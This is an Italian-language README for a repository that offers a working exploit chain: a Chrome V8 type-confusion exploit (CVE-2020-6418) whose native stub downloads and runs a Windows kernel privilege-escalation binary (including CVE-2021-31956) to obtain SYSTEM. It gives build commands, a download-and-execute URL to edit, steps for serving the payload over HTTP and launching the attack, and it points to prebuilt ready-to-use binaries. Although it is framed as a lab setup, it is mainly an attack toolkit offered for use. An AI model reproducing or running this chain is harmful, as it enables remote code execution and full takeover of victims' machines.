
Catena di exploit a singolo stadio per CVE-2020-6418 (Chrome RCE) combinata con escalation dei privilegi di Windows a SYSTEM, con script di build e binari precompilati.
Questo repository contiene una catena di exploit funzionante a singolo stadio per CVE-2020-6418
(un bug di type confusion nel compilatore Turbofan di V8, che interessa Google Chrome
80.0.3987.87 x64). Visitare una pagina dannosa con un Chrome vulnerabile porta
all'esecuzione di codice nativo all'interno del processo renderer. Da qui,
l'exploit scarica e avvia un secondo binario che combina altri due bug
(una mancanza di controllo della lunghezza in NtPowerInformation più CVE-2021-31956, un overflow
del pool in ntfs.sys) per passare da un processo senza privilegi fino a
NT AUTHORITY\SYSTEM.
L'intera operazione viene eseguita con una singola visita alla pagina, senza passaggi manuali tra il bug del browser e la shell di SYSTEM.
Il merito originale per l'exploit di Chrome va a Clement Lecigne (scoperta del
bug, Google TAG) e Istvan Kurucsai / Vignesh S Rao (la proof of concept
originale, successivamente distribuita come modulo Metasploit). Abbiamo rimosso
le dipendenze da Metasploit e ricostruito il meccanismo di distribuzione attorno a un
downloader nativo invece di incorporare il payload nella pagina. Dettagli in
browser-exploit/README.md.
browser-exploit/ L'exploit per Chrome (il bug di V8 + lo stub nativo)
exploit_template.html Sorgente HTML/JS, con un segnaposto per lo stub
build_exploit.py genera exploit.html dal template
shellcode/ il codice nativo che l'exploit inietta in Chrome
privilege-escalation/ La catena di EoP per Windows, un programma C standalone
prebuilt/ Binari pronti all'uso (exploit.html ed exploit.exe)
notes/ Un approccio precedente che abbiamo provato e abbandonato, conservato
come registrazione di ciò che abbiamo imparato lungo il percorso
Macchina attaccante (l'"host"): qualsiasi Windows recente con Visual Studio 2019 o 2022 (qualsiasi edizione, Community va bene, o anche solo i Build Tools), NASM e Python 3. Qui è dove compili tutto e servi la pagina dell'exploit.
Macchina target (la "VM"): deve corrispondere esattamente, l'exploit si basa su offset hardcodati validi solo per queste specifiche build.
winver o
[System.Environment]::OSVersion in PowerShell.chrome://version.C:\lab8 (può essere vuota, deve solo esistere).L'abbiamo testato su una VM VMware Workstation con una scheda di rete host only, ma qualsiasi configurazione in cui la VM può raggiungere l'host via HTTP funziona allo stesso modo.
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
Prima della prima compilazione, apri browser-exploit\shellcode\download_and_run_stub.asm
e modifica queste due righe in fondo:
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP è l'indirizzo IP di questa macchina visto dalla VM (esegui
ipconfig sulla VM e controlla la scheda di rete che corrisponde alla tua rete
host only o NAT, oppure esegui ipconfig sull'host e usa la scheda sulla
stessa sottorete della VM). destination_path deve corrispondere al punto in cui
vuoi che il binario di EoP venga depositato nella VM; il valore predefinito è C:\lab8.
Dopo la modifica, ricompila lo stub e rigenera exploit.html (i due comandi del punto 1, saltando la compilazione di privilege-escalation poiché questa non dipende dall'IP).
Se per un test rapido non vuoi toccare il file assembly, prebuilt/
contiene già una copia funzionante con il nostro IP di test incorporato. Funzionerà
solo se la tua rete corrisponde per caso, quindi compilare la tua copia è la
via affidabile.
Metti exploit.html ed exploit.exe (quello compilato in
privilege-escalation/) nella stessa cartella, poi:
python -m http.server 8000
exploit.exe deve essere raggiungibile all'URL esatto che hai inserito in
download_url qui sopra, poiché lo stub nativo lo recupera direttamente, non
attraverso il browser.
Una nota rapida sul firewall dell'host: se la VM non riesce a raggiungere la porta 8000, quasi
sempre è Windows Defender Firewall a bloccare la connessione in entrata su
una rete non classificata, oppure una regola residua che blocca python.exe
nello specifico (Windows a volte la crea automaticamente la prima volta
che un'app tenta di accettare una connessione su una rete non attendibile). Controlla
Get-NetFirewallRule -DisplayName "python.exe" in una PowerShell elevata
se incontri questo problema.
Conferma che la build di Windows e la versione di Chrome corrispondano ai requisiti sopra.
Crea C:\lab8 se non esiste già (vuota va bene).
Se questa è una VM nuda che non ha mai completato un vero ciclo di avvio,
C:\Windows\bootstat.dat potrebbe mancare o essere vuoto, e il bug del kernel
richiede che esista con contenuti validi. Se necessario:
if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
Avvia il Chrome vulnerabile con --no-sandbox (questa PoC non include
un sandbox escape, quindi il renderer deve essere già senza sandbox per raggiungere
il file system e generare processi) e puntalo alla pagina:
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
Apri DevTools (F12) e controlla la scheda Console: l'exploit registra il suo
avanzamento lì. Se tutto combacia, dovresti vedere la type confusion
riuscire, lo stub scaricare e avviare il binario di EoP e, dopo alcuni
secondi, una nuova finestra della console che gira come NT AUTHORITY\SYSTEM.
exploit_template.html
(objleaker_offset, float_carw_elements_offset e gli altri) sono
specifici per 80.0.3987.87 x64; non funzionano su una build diversa,
nemmeno a una sola patch di distanza.DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD e i vari offset
EPROCESS/ETHREAD in privilege-escalation/exploit.c) sono
hardcodati per quella build.download_url in download_and_run_stub.asm corrisponda all'indirizzo e alla
porta su cui l'host sta effettivamente servendo, e che la VM possa raggiungerlo (un
semplice curl http://YOUR_HOST_IP:8000/exploit.exe eseguito dalla VM è
un modo rapido per confermare la connettività prima di dare la colpa all'exploit).Maggiori dettagli su ogni componente, incluso il motivo per cui è costruito nel modo in cui è, nei README di ciascuna cartella.